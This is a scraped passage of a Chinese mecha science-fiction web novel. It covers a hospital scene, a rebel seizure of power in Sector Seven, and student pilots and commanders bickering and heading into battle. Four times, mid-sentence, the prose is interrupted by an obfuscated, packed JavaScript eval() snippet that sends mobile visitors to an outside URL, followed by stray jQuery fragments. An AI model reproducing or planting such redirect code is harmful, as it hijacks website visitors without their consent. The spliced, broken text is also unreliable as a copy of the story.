“嗯,外面在打仗,肖恩爷爷。” “我听到了机甲挥舞平衡翼的声音,芬迪尔将军正在召唤我回去。”肖恩突然弹了弹身体,像离水的鱼在打挺。 豌豆停下手上的动作,把小铁片放进口袋,两条细瘦的手臂按住肖恩:“您不能动,要护士姐姐说可以之后,您才能下床。” “我是新十一军团的少将!我是新十一军团的少将……”肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654725|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩微弱地挣动起来,“我是肖恩,我是肖恩,芬迪尔将军……” 肖恩的力气并不大,即使豌豆只是个小女孩,也可以制服。 豌豆叫来了护士。 护士看着双眼昏黄的肖恩,感慨地叹了口气,准备把他移去特殊病房。 “战争!战争!”肖恩沙哑地呓语,“芬迪尔将军!芬迪尔将军……” “芬迪尔将军是谁?”豌豆对护士问。 护士变了变脸色:“我不知道。” 豌豆噤声。 她听出来了,护士不是不知道,而是不想让她知道。 但肖恩突然爆发出极大的力气。 他推开了护士,用一种别扭的姿势半躺在床上,对不远处的豌豆伸出一双枯瘦的手臂。 “将军,将军……”肖恩悲伤地呢喃。 豌豆看了护士一眼,走过去,把肖恩摁回床上,掖好被子:“肖恩爷爷,护士姐姐说了,您要少吹风。” 护士紧张地看着一老一少。 但肖恩看着豌豆漆黑的眼睛,竟然一点点平静了下来。 “……人民还在水深火热中,革命尚未成功,芬迪尔将军正在召唤我回去。”肖恩口齿含糊,神志不清,但豌豆离得很近,所以她听清了,“将军,我已经老了,您的理想实现了吗?” 豌豆安静地看着肖恩爷爷的脸。 豌豆的文化水平不高,但这一刻,她突然后知后觉地理解了,教她识字的那名老师教给她的一种修辞——比喻。 肖恩爷爷变成了一条河。 他的脸上流下了两条长长的眼泪。 她要如何去抚慰一条河流的哭泣? 更多的医生和护士走了进来,要将肖恩转移去特殊病房。 豌豆知道,自己应该让开位置了。 但她鬼使神差地没有动,又偷偷伸出手,在医生们看不见的地方,给肖恩爷爷擦了擦眼泪。 河流不再流淌了。 老人停止哭泣了。 几个医生在不远处小声说话。 “你联系‘教母’了吗?” “没有。” “老爷子的情况越来越不稳定了,我们应该让她知道。” “但这样她一定会把老爷子带走的,医院的资金本来就不充足……” 豌豆安静地听着。 突然,医院广播传出了不规律的沙沙声。 豌豆仰头盯着天花板上的喇叭。 一分钟后,一个优美醇厚的女声在广播中响起: “第七扇区的公民们,下午好,我是莉莉丝·施耐德。” “刚才,我们已经武装夺取政权,第七扇区从今日起,不再受联邦管辖。” “所有压迫与剥削将彻底终结,从这一刻起,国家的命运,将掌握在人民手中。” “新政府将延续原新十一军团提督,芬迪尔·兰奇将军的理想,以人民利益为核心,保障大家安全与权利。” “请各地区停止冲突、坚守岗位,配合新政权工作,后续各项政策与安排,将通过本电台持续播报,请大家保持收听。” “让我们一起,共建一个公平、正义、繁荣的新国家!” 医生震惊地喊道:“教母?” 轰! 话音刚落,一阵强烈的冲击波席卷而来,震得玻璃窗哗哗作响。 豌豆看向窗外。 一道熟悉的、半透明的护盾出现在医院上方,挡住了从天而降的炮弹。 机甲巨大的眼灯出现在窗外。 豌豆呢喃:“塞壬……” “不轰炸医院和学校,是人类的共识,但我们之中出现了叛徒。”雪理的声音冷静地响起,“从现在起,我将负责保护这所医院所有人的安全,直至肃清任务完毕。” 91. 豌豆(二) “A区后勤已到位。” “B区后勤已到位。” “C区后勤已到位,星域战场范围内,所有后勤都已到位。” “收到。”埃德蒙听着总指挥频道里的汇报,十指在四维沙盘上轻轻划动,同时将实时战况同步到频道中。 当视线扫过成员列表里那几个新加入的名字时,他灰色的独眼不自然地眨了眨。 “……上将,你这步棋太险了。”埃德蒙,原第七军团副指挥官,现第七军团临时提督低声喟叹,“让这几个金疙瘩加入战争,你是真不怕那些护犊子的老家伙发疯啊……” 这五个被称作“金疙瘩”的新成员,并非军团老兵,而是本届军校机甲联赛排名前五的队伍指挥。 按照萧寒剑上将的要求,他们不必继续执行后勤任务,而是指挥自己的小队,与第七军团并肩直面第七扇区的叛军。 尽管都还是学生,这五人的背景却耀眼到足以震动联邦—— 莱茵·汉布格尔,联邦“太子”,总统独子; 维卡·德维尔潘,她的家族是联邦最大的机甲生产商; 凯撒·奥古斯都,年仅20岁的新任家主,联邦权贵之首; 炎琳,红沙政权公主,其母曾助力联邦收复第五扇区; 焦新叶,她的家族持有联邦研究院20%的原始股份。 他们之中但凡有人出事,联邦必将掀起一场大地震。 同时,他们能调动的人脉和资源,也远超所有人的想象。 埃德蒙不得不感慨,本届联赛是有史以来最恐怖的一届。 此刻,频道里的五名学生指挥官还处于闭麦状态。 但埃德蒙清楚,他们绝非只在旁听。 他们的大脑在疯狂运算战场局势,身体在机甲驾驶舱内精准操作,眼睛紧盯着实时战况,同时在下级频道中实时指挥队友。 所有人都在全力以赴,即便第七军团刚结束与机械军团的恶战,已是一支疲军。 他们不敢失败,甚至不敢想象失败的后果。 ——第七扇区的突然独立,让整个联邦措手不及。 那位趁着旧总督逝世,新总督未立的权力真空期,武装夺取政权的莉莉丝女士,曾孤身登上军团母舰,与萧寒剑上将进行了一场无人知晓内容的私密会晤。 如今,会晤的原因似乎已经揭晓—— 莉莉丝·施耐德,黑手党大首领,地底世界的“教母”,其真正目的是分裂联邦,将第七扇区彻底据为己有。 埃德蒙一心多用,一边关注萧寒剑那边的情况,一边分析当前战场的局势。 他在等一个信号。 他在等萧寒剑的信号。 战争无情,内战更是残忍至极。 人类可以英勇地把枪口对准机兵的炉心,却无法问心无愧地瞄准同胞的胸膛。 此前,莉莉丝已向萧寒剑表示了诚意。 如今,萧寒剑便以同等姿态回馈。 她没有带上亲兵,只带了自己的机甲凤凰,孤身前往莉莉丝的大本营,与那位地底世界的“教母”再度会谈。 战争还是和平? 无人知晓,却有千万人为此祈祷。 母舰中,埃德蒙坐镇指挥台,焦灼地等待着萧寒剑上将的信号。 战场上,郗灵浸泡在驾驶舱中,安静地听着频道内的争吵声。 “快把我哥带走,他新染的红毛辣到我的眼睛了!” “那是假发!” “假发也辣眼睛!” “那你半夜进我宿舍燎我头发是几个意思?” “我不能进吗?” “你女的我男的,你好意思问能不能进?” “在家的时候你每天雷打不动六点在我耳边敲那个破不锈钢盆,那个时候你就好意思了?” “咱全家都是六点起床,这是规矩,你不知道?” “你有病吧!在军校里当兵,回家还要当兵?” “你有种和咱爸咱妈说你不想当兵!” “你嘴巴放干净点,别一天天有种没种的,呸!二流子!” “你妹的——” “我才不是你妹!!我是你爹!!” “龙家兄妹的感情还是那么火热。”欧白白在队内频道吐槽,“上一届联赛,他俩为了鸡毛蒜皮的小事天天干架,把跟拍的飞行摄像头都干碎了好几个。” 郗灵吐出一口凉丝丝的母液:“你听得到?你不是在后勤频道吗?” “莱茵把他权限内的频道全向我开放了。”欧白白说。 郗灵:“……” 郗灵:“莱茵还挺大方。” “不,是他知道我会想办法黑进去,所以不如直接放我进去。”欧白白解释道。 郗灵:“…………” 郗灵:“你不怕黑进不该进的频道吗?” “不会,我有分寸,我只是不想错过任何一个八卦而已。”欧白白坐在机甲“飞鸟”的肩膀上,手中捧着迷你电脑。 她的十指在键盘上飞舞,偶尔抬头看一眼头顶的护盾,又转头瞥一眼机甲“塞壬”的身影。 塞壬任劳任怨地维持着护盾,能源核心嗡嗡运转。 欧白白感慨地说:“小雪可真是个老实孩子……” 郗灵没听清:“什么?” “没什么。”欧白白敲下最后一个字符,“渡鸦,你那边情况怎么样?” “夜哨情况不佳,我正在申请新机甲。”渡鸦轻声说,听不出什么情绪。 莱茵说:“维卡刚才私聊我了,她愿意免费给你定制一台机甲。” 渡鸦的声音还是淡淡的:“不必了,我用普通的量产型机甲就好。” 莱茵又问:“你打算给新机甲取什么名字?” 渡鸦答:“夜哨。” “还是夜哨?” “总不能和你一样叫13号吧?” 莱茵安静了一秒。 郗灵听得冷汗涔涔,总觉得渡鸦似乎是隐晦地刺了莱茵一下。 但莱茵没有任何情绪变化,继续对渡鸦说:“维卡想要认识你。” 渡鸦说:“没这个必要,让她死心。” “她想要夜哨的原始数据,那份数据储存在伊甸的主机房中,只有你有权解锁。”莱茵说,“她家是做机甲生意的,她看上的不是你,是夜哨。” “嘶,锐评啊。”欧白白说。 “嘶,锐评啊。”郗灵说。 “嘶,锐评啊。”雪理说。 渡鸦:“……” 渡鸦:“让她死心,那份数据我会让它烂在伊甸的主机房里。” “说起来,维卡的家族好像也是觐见之塔的赞助商?”欧白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654726|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白又开始八卦了,“她好像挺热衷于和伊甸搞好关系的,但似乎没有什么进展?” “伊甸是人工智能,讨好伊甸没有意义,维卡就是纯粹的做生意。”莱茵说。 “维卡刚才私信我了。”渡鸦死气沉沉地说。 郗灵:“……” 欧白白:“……” 雪理:“……哇塞。” 莱茵:“你怎么回复她的?” 渡鸦没有说话。 他守在维修部,看着大屏幕上夜哨的三维扫描图,手腕上的光脑显示着他和维卡的聊天界面。 【维卡·德维尔潘】:我知道夜哨的秘密 【维卡·德维尔潘】:我和你说实话,我只是受人之托,真正想要见你祖母的另有其人 【维卡·德维尔潘】:如果你想要你祖母的数据,继续在主机房里安眠,我不会再打扰你,那台定制机甲我也会送给你,这是我对你的祖母,石琳女士的敬意 【维卡·德维尔潘】:但赛博永生并不存在,数据终有损毁的一天 【维卡·德维尔潘】:若你真想带领诺因尼家族挣脱“诅咒”,石琳女士主持过的那项研究会是一个突破口。 【维卡·德维尔潘】:上面那句话,是想见你的那个人的原话 【维卡·德维尔潘】:我如实转告给你了,如果你有这方面的想法,随时都可以联系我 【维卡·德维尔潘】:再会咯[挥手.jpg] 渡鸦知道,他的祖母石琳,是白璐元帅最看重的助手。 夜哨也并非白璐和石琳唯一的作品,相反,夜哨的诞生,仅仅只是在为另一个更重要的作品试错。 ——联邦主脑。 ——这才是白璐最满意的作品。 维卡背后的人,想要通过石琳储存在伊甸主机房中的数据,在当年那项实验中获得什么? 或者说,那个人,想对主脑做什么? 渡鸦收回发散的思绪,抚摸腰间的机甲钮。 夜哨是联邦第一台人造机甲,具有浓厚的纪念意义,即使无法继续驾驶,也会被博物馆收藏起来。 在渡鸦的请求下,维修部部长亲自更换了夜哨的拘束装甲,换下的那身拘束装甲折叠成机甲钮后,便成了如今挂在他腰间的一枚空壳。 维修部部长之所以愿意这么做,是因为所有人都知道,拘束装甲并不重要,重要的是里面的胚胎。 渡鸦抚摸机甲钮,眼神变得深邃。 ——郗灵的身上有一个巨大的秘密,那个秘密和胚胎有关。 ——他无意触碰那个秘密。 ——正如他不愿意背负诺因尼的诅咒,不愿意回顾这个家族可悲的过去一样。 渡鸦的视线,从夜哨的三维扫描图移到手腕上的光脑上。 他看着聊天界面,叹出一口气。 【渡鸦】:我不想卷进这件事,你不必再找我了 一秒后,维卡转告了这条消息。 三秒后,莉莉丝·施耐德抚摸自己的胸针,看到微型光脑传来的消息后垂眸一笑:“上将,我拒绝和谈。” 五秒后,埃德蒙收到了萧寒剑的信号。 他坐在指挥台上,灰色独眼微微一颤。 而后,他深吸一口气,在总指挥频道中沉声道: “和谈失败,战争……开始!” 92. 豌豆(三) 郗灵驾驶龙姬,孤身待在后军部队。 加入前线的五支学生小队,因萧寒剑上将特许,可以作为机动位自由行动。 这在严肃的战争中十分少见。 要想获得一场战役的胜利,核心思想只有三点:第一,自己不要犯错,第二,等待敌人犯错,第三,抓住敌人的错误猛烈进攻。 银河三千年文明史中,高质量的战役屈指可数。 而一场高质量的战役,通常是无趣的。 当敌我双方都具有极高的军事素养,便意味着破绽和失误将不可能存在,胜负的关键从“人”变为“武器”,双方的战斗将演变为彼此军备体系的对抗。 比如,谁的武器更先进,谁的装备更完善,谁的体量更庞大。 如果忽略牺牲的士兵,这几乎和一盘全息战争游戏没有区别。 郗灵相信萧寒剑,后者绝非视人命如草芥之徒。 但让五支学生小队自由行动,全凭小队指挥官一手调度,这无疑是在给对面的叛军送上破绽。 破绽意味着错误。 错误意味着死亡。 “郗灵,”莱茵在队内频道中问,“你一个人上前线,会觉得紧张吗?” 小队一共五名成员。 莱茵在星舰指挥台,欧白白和雪理在后方星球,渡鸦因没有机甲,暂时在母舰维修部。 郗灵是莱茵钦定的前线机动位,也是唯一一个机动位。 郗灵回答:“我没有问题。” “你的声音有一些困惑,我猜,你对上将的决定产生了一丝疑虑。”莱茵温声说。 郗灵没有否认:“是的。但我是一名士兵,我的职责就是服从命令。” “军事、政治、经济,三者无法独立存在,总有千丝万缕的联系。”莱茵说,“上将此刻不在前线,她要用政治手段,来解决军事问题。” 郗灵安静片刻:“我知道上将在莉莉丝女士那里。” ——但和谈已经失败了,战争已经再次打响。 “不,谈话有了第一次,就可以有第二次。上将已经迈出了最艰难的一步,她成功开启了第一次谈话,尽管结果失败,却从‘零’变成了‘一’。”莱茵说,“所以,上将的决定并非失误,而是刻意为之。” 郗灵陷入沉思。 “郗灵,驾驶龙姬,全力地对叛军挥剑吧。”莱茵笑着说,“不必有太多的顾虑,既然上将的决策是正确的,你便好好当一名士兵,认真执行命令就好。” 郗灵终于反应过来了。 莱茵和她弯弯绕绕说了这么多,原来是在担心她。 她笑了一声:“我知道了。” 一颗燃烧的“星星”拖着艳丽的尾焰,如同天边划过的流星,从第七军团后军突进,一路飞向了军队前军。 埃德蒙吹了声口哨:“她暴走了!太子同学,她是你的队友?” “叫我莱茵就好。”总指挥频道中,莱茵温和地说,“郗灵由我的队长欧白白特邀而来,她十分强大,我只能为她锦上添花。” 一个甜美的女声说:“莱茵,同为五骄,你不必妄自菲薄。” “感谢你的认可,炎琳。”莱茵说。 炎琳问:“维尔莱德军校人杰地灵,不知我们是否有合作的可能?” 莱茵说:“请讲。” “我的队友龙小葵性情顽劣,已经得罪了不少人。”炎琳说,“她还未见过郗灵,所以没有机会得罪她,但她们迟早会在战场上碰面,所以我请求提前和你合作,好让小葵少一个强大的对手。” 维卡懒洋洋地打岔:“炎琳,你为什么不和阿瑞斯军校合作?” 顿了顿,维卡在频道里大声喊话:“喂喂喂!阿瑞斯的指挥呢?出来说话呀!” 焦新叶冒泡:“我在。” 维卡问:“龙北星为什么选你当指挥?上一届联赛,他自己不是指挥得挺好的吗?” 焦新叶温柔地反问:“维卡,卫惊鸿的指挥水平也很高,她为什么选择让你指挥呢?” 维卡:“我没有义务回答你的问题。” 焦新叶的语气依然温柔:“是的,所以我也不必回答你的问题。” 维卡:“那你能回答什么?” 焦新叶:“青蛙四条腿,蜘蛛八条腿,螃蟹十条腿。” 维卡:“什么意思?” 焦新叶:“你只有一张嘴,你应该闭嘴。” 维卡:“……” 维卡:“神金。” 龙姬雪白的机身裹挟在灿金色的火焰中,拖出一条绚丽明亮的尾焰,直直来到了第七军团前军部队。 龙小葵伸着脖子往后看:“那是谁啊?” “你开会的时候忘记带耳朵了吗,妹妹?”龙北星在私聊频道里嘲笑,“她是郗灵啊,那个单枪匹马炸掉生产机床的牛人!” 龙小葵一眨不眨地盯着那颗“流星”,眼睛和脖子跟着一起转动:“哥你好吵,我要闭你麦了。” 龙北星感到不妙:“小葵,你要做什么?” “她往叛军那里去了,我要追上她!”龙小葵的语气陡然变得兴奋,“哥,你要是有种,就跟我一起来!” 轰! 一台靓丽的红色机甲动了动,尾部推进器喷射出大量火焰。 机甲在强大的推力下快速前进,又在半途做出一个角度刁钻的转向,躲开了另一台红色机甲伸来的手臂。 颜色略鲜艳些的红色机甲,如同一只雀跃的红鸟,朝着龙姬的方向追赶而去。 龙北星在驾驶舱里用力锤了一下操作台:“让她溜了!” 队内频道中响起一个温柔的女声:“队长。” 龙北星脸色一凛:“新叶,什么事?” “我建议你追上小葵,直接在叛军内部开启暴走。”焦新叶凶悍的想法和温柔的语气呈现反比,“你暴走时不分敌我,但小葵和郗灵都足够强悍,你就无需束手束脚。” 龙北星沉默一瞬:“那不是叛军,那是我们的同胞。” “从四十七年前,帝国覆灭的那一日起,第七扇区的人就不是我们的同胞了。”焦新叶说,“队长,即使是红沙政权的炎琳,也比第七扇区的人更值得拉拢。” 龙北星说:“这是历史遗留问题,你在和我讨论政治。我讨厌政治。” 焦新叶说:“但这场战争的本质,就是一次政治博弈。” 龙北星沉默。 焦新叶又说:“队长,青蛙两条腿,蜘蛛八条腿,螃蟹十条腿,这都是看得见的,但谁又能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663229|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的心挖出来看一看呢?” “我知道了。”龙北星说。 焦新叶不再说话,因为她的目的已经达到了。 几秒后,一台颜色略显深沉的红色机甲,尾部喷射出大量火焰,如同一头钢铁红龙,追逐着之前那台红机甲留下的淡淡尾焰,向叛军内部突刺而去。 “龙北星携带了‘血清’,他要在叛军内部开启暴走!”维卡在总指挥频道里叫开了,“我的老天鹅啊,谁来管管他!焦新叶!炎琳!太子!” “我去。”维卡的耳边突然响起一个清冷的女声。 那声音如玉珠坠盘,让人闻之不忘。 维卡懒洋洋的表情一下子消失了。 维卡轻声说:“队长?” “我能再次驾驶机甲,已是上天的恩典,维卡,你不要劝阻我。”清冷的女声说,“龙北星不是鲁莽的人,这多半是焦新叶的鬼点子。我会把他平安带回来。” 维卡沉默。 她盯着自己垂在胸前的小辫子。 那是她的队长——上届联赛的“五骄”之一卫惊鸿,亲自给她编的。 维卡瘪了瘪嘴:“队长……” “我知道你想说什么,维卡。”卫惊鸿的声音依然清冷,语气却多了一丝微小的暖意。 她说:“我的身体我自己清楚,所以我更不想留下遗憾。上一届联赛,我和冠军失之交臂,这一次,我一定要拿下那座奖杯。” 维卡安静了几秒,突然用力锤了一下面前的操作台。 巨大的响声出现在总指挥频道中,所有指挥官都为此沉默了一秒。 埃德蒙打破沉默:“我们继续。还有,维卡扣除5分个人积分。” 卫惊鸿轻轻地说:“维卡?” “你去你去你去!”维卡把队内频道之外的所有频道全部手动闭麦,在操作台上一通乱砸,“本来我就不是个合格的指挥,你不听我的命令也很正常!你想拿冠军你就去拿啊,我不拦你!” 队内频道一片寂静,只有维卡砰砰乱砸东西的声音。 银鹰军校的队内频道,是所有小队通用的。 银鹰军校虽为五大军校之一,本届联赛却只有三支小队报名。 ——战争无情,个人的努力和牺牲在庞大的军队面前,一文不值。 所有人都说银鹰军校式微,但偏偏连银鹰军校的学生都无法反驳。 当集体向上发展时,进步的势头会掩盖掉潜在的缺点和问题。 所有人都忙着跟上前进的节奏、分享发展的红利,没人会过多纠结于那些暂时不影响大局的不足,更愿意主动融入这份向上的浪潮。 相反,一旦集体陷入停滞甚至退步,情况就会完全不同。 原本被掩盖的矛盾会逐渐凸显,人心也容易变得惶惶不安。这时,个体的私心会纷纷浮出水面,大家不再齐心协力,反而容易各自盘算、相互内耗,整个局面也会变得混乱无序。 当卫惊鸿横空出世时,银鹰军校正蒸蒸日上。 她为母校赢得了亚军,迎来的却并非喝彩,而是一片尖锐的嘲讽。 ——“怎么才拿了第二啊?” ——“真丢人!” ——“要是上一届学长还在,我们银鹰肯定是冠军!” 93. 豌豆(四) 可短短三年内,银鹰军校便迅速衰落了。 主脑的突然失控,让各大军校失去了大量人才,银鹰军校更是因此折损了一半的天才。 卫惊鸿也是受害者之一。 但当卫惊鸿得知,本届军校机甲联赛,银鹰军校竟然只有两支队伍参赛时,性格淡泊的她,第一次流露出了耻辱的表情。 卫惊鸿听着频道里摔摔打打的声音:“维卡。” 摔摔打打的声音停止了。 “让我去吧。”卫惊鸿轻声说,“我发誓,我一定会把龙北星带回来。” “谁管他去死!”维卡愤愤地说。 “我一定会平安回来。”卫惊鸿又说。 维卡沉默。 “维卡?” “好,你去吧。”维卡悄悄吸了吸鼻子,很轻,频道内谁都听不到,“我给你开权限,你可以直接看到四维沙盘。” “谢谢你。”卫惊鸿笑着说。 维卡悄悄给卫惊鸿开了权限。 这是一项违规操作,因为实时四维沙盘只有指挥有资格查看,如果被发现,她会被扣光全部个人积分。 反正刚才已经扣了5分了,维卡不屑地想。 但维卡的操作被驳回了。 维卡定睛一看,发现是卫惊鸿拒绝了她的邀请。 与此同时,维卡的私聊频道发来了一条消息。 【卫惊鸿】:别哭,维卡。 维卡怔怔地看着那条消息。 “维卡?维卡?”埃德蒙在总指挥频道中连续问道,“你掉线了吗?怎么一直不回话?” 一声微小的啜泣在总指挥频道中响起。 “到!”维卡大声说,“我在,我一直在!到到到!” 埃德蒙佯装没有听到那声啜泣,面不改色地说:“侦察机甲送来了叛军的情报,你们看看,这份机甲数据有什么不对劲的地方。” 维卡查看谐波数据。 埃德蒙极具针对性地补充:“如果有什么发现,我可以给你加5分。” “哈,这5分是我的了。”维卡说,“埃德蒙副官,叛军驾驶的是经过私人改装的黑机甲,危险性远高于联邦研发的一代机甲。” 埃德蒙说:“私人改装现象屡禁不止,即使是你们这些参赛选手,也有不少人驾驶着所谓‘高级定制’的黑机甲。” 维卡说:“这是两码事。” 埃德蒙说:“这是一码事。我还知道,德维尔潘家族就是靠改装黑机甲发家的。” 维卡:“你针对我?” 埃德蒙:“我针对所有改装黑机甲的人。” 维卡:“你……” 埃德蒙:“维卡·德维尔潘,扣5分。” 维卡气得闭麦了。 频道内陷入了短暂的安静。 埃德蒙面色平静,这五个学生的指挥水平,还不足以让他提起兴趣:“你们还有什么发现吗?” “我有一个问题。”莱茵突然开口。 “你说。” “这些机甲的制式和涂装,是新十一军团独有的标识。联邦那位著名的‘叛国者’——芬迪尔·兰奇,正是新十一军团的提督。”莱茵说,“我的问题是:芬迪尔明明死于红沙政权之手,新十一军团为何会出现在第七扇区?” 炎琳尴尬地咳嗽了两声。 她是红沙政权的公主,听到这种敏感的话题,她恨不得捂上自己的耳朵。 埃德蒙兴致盎然地追问:“太子同学,你想问我什么?” 莱茵说:“埃德蒙副官,恕我直言,上将单独会晤莉莉丝女士,真的只是和谈这么简单吗?” 总指挥频道中安静了一瞬。 这个问题并不尖锐。 但联邦如今风声鹤唳,再温和的诘问,也难免透着锋芒。 埃德蒙轻笑一声:“太子,下一次,你可以把话说得更明白些。” 莱茵坐在操作台前,翡翠色的眼眸看着屏幕。 光影在他的脸上明明灭灭,那份温和的神色里,也莫名掺了几分让人捉摸不透的诡异。 他轻声问:“埃德蒙副官,接下来我该怎么做?” “从现在起,我任命你为临时一级指挥官,统领五支学生小队,尽可能歼灭叛军机甲。”埃德蒙说,“莱茵,按你的心意去做吧——仅此一次,所有后果由我一力承担。” 莱茵笑了:“遵命。” * 郗灵驾驶龙姬,越过庞大的第七军团部队,穿越漫长的战场真空地带,一路冲向叛军所在的方位。 穿越战场真空地带,是极其危险的行为。 所有星际武器的射程,都是以星系半径为基本单位的。 一名陆军越过停火线,迎来的是敌军的子弹。 一名机甲兵越过星域战场的“停火线”,迎来的是超级电磁轨道炮、高能激光列阵、超大型粒子束武器等银河武器的降维打击。 虽然,目前的战报显示,叛军只出动了机甲部队,但没人知道,他们到底有没有藏着后手。 但郗灵不怕这个。 她是龙,只要她的心脏不停止跳动,她就不会死。 郗灵如一颗耀眼的流星,在漆黑寂静的真空地带中高速飞行。 龙姬发出预警:“主人,有三人正在尾随我们。” 郗灵:“你的驾驶视野能捕捉到他们的影像吗?” 龙姬:“可以。” 片刻后,驾驶舱屏幕上,三台机甲的影像被龙姬拍摄了下来。 ——两台红色机甲,一台黑色机甲。 郗灵微微皱眉:“那台红色机甲,我怎么有点眼熟?” 当她从后军来到前军,向战场对面突进的时候,有一台格外醒目的红色机甲,像个大活人一样伸长脖子,仰起脑袋看她。 那台机甲的谐波又吵又闹,郗灵因此有一点印象。 龙姬突然沉默了。 郗灵心里有些微妙:“龙姬,你怎么了?” “那台红色机甲叫‘启明星’,它的主人是龙枪军校的龙小葵。”龙姬有些烦恼地说,“刚才,启明星向我发送了大量垃圾短信,想要和我交个朋友。” 郗灵说:“这只是一件小事,但你似乎很烦恼。” 龙姬说:“是的,因为它交朋友的方式,是和我打一架。” 郗灵:“……” 龙姬:“它不是成熟的龙,只是连性别都没有分化的胚胎。” 郗灵:“……嗯。” 龙姬:“我可以屏蔽它吗?它好幼稚,它好吵。” 郗灵:“可以。但这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670148|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,我可以收到龙小葵的消息吗?” 龙姬:“可以。” 龙姬话音刚落,一条来自陌生ip的消息就弹了过来。 【[快把我哥带走]请求加入私聊频道,是否通过?】 郗灵:“……” 龙姬:“物似主人型,龙小葵一定和启明星一样吵。” 郗灵硬着头皮通过了申请。 下一秒,龙小葵的声音,如魔音贯耳般钻进郗灵耳中: “救命你飞得好快啊!你的尾部推进器是什么型号的?我也想买一个!” “我跟不上你了!” “你身上怎么一直在烧……什么!原来不是我想象中的火焰装甲吗?你在暴走吗?!” “老天鹅啊!你怎么提前开暴走啊!大招要留到最后的呀!” “等等!你暴走的时长已经超记录了吧?” “你到底是怎么做到的?还是说你安装了什么特殊的组件,比如火焰装甲之类的?” “我哥也会暴走,他暴走起来连我都杀。你是不是也是我哥那样的非常规暴走?” “喂喂喂?哈喽?莫西莫西?你还在吗?你在听吗?” 龙小葵的嘴巴一直没停过,整个频道里都是她的声音。 郗灵沉默了整整三秒。 郗灵:“龙姬,她好吵。” 龙姬:“主人,你要屏蔽她吗?” 郗灵:“……让我想想。” “哇!救命啊!我哥追过来了!”龙小葵突然发出一声尖叫。 机甲“启明星”的尾部推进器爆发出大团耀眼的火焰,但它并未因此失去平衡,反而如同一只灵巧的红鸟,以轻盈之姿飞到了龙姬身边。 在启明星靠近的一瞬间,郗灵清晰地听到了龙姬发出的尖锐气流声。 像人类用气音驱赶狗,又像猫受到惊吓大声哈气。 ……能把龙姬逼到哈气。 ……启明星真的有点东西。 滴滴! 又一个陌生ip请求加入通话。 郗灵再次通过。 临时通话不会显示面部立体投影,只有声音。 郗灵已经做好了迎接龙小葵2号的准备。 但这一次,她听到了一个宛如玉珠坠盘的、清冷动听的女声。 “你好,郗灵,我是银鹰军校的卫惊鸿。”那个女声说。 “你好。”郗灵说。 “第七扇区的电磁波有些紊乱,我的话可能会被吞掉一部分。”卫惊鸿问道,“你能听到我说话吗?” 卫惊鸿的语气十分温和,但她的音色却像冰一样冷。 这种强烈的反差,让郗灵一下子就记住了她。 龙小葵在卫惊鸿进入频道后就安静了下来。 郗灵享受着这份清静,欣慰地回答:“我能听到。” “阿瑞斯军校的龙北星,现在就在你身后。”卫惊鸿友善地提醒,“他已经注射了血清,即将进入暴走状态。你注意躲避,等他暴走结束,我会立刻把他带回去。” 血清? 暴走? 郗灵还没来得及细想,身后便骤然炸开一团能量汹涌的火焰。 她转过头,只见一台熊熊燃烧的红色机甲,带着毁天灭地的气势朝她猛冲而来! 94. 豌豆(五) 郗灵急忙驾驶龙姬闪开。 龙北星正在暴走状态,但他的目标不是郗灵。 见郗灵让出通道,那台燃烧着猩红烈焰的红色机甲,如同一头暴怒的红龙,向战场对面的叛军横冲直撞而去。 龙北星的机甲,身上燃烧的火焰是血一样的猩红,暴虐、艳丽、张狂。 一道猩红的尾焰在漆黑的太空中划出,狭长如星轨,狰狞如疤痕。 郗灵盯着红色机甲燃烧的背影:“龙小葵,你哥的机甲叫什么?” “超新星。”龙小葵鲜少如此安静。 “血清又是什么?”郗灵又问。 “那是阿瑞斯军校研发的特殊药剂,是人造羊水的副产品。”卫惊鸿解释道,“阿瑞斯军校的人都是战争疯子,注射血清虽然能极大地提高同步率,却伤敌一千自损八百,是在用自己的生命来换取力量的爆发。” 说话间,卫惊鸿和龙小葵已经追了过去。 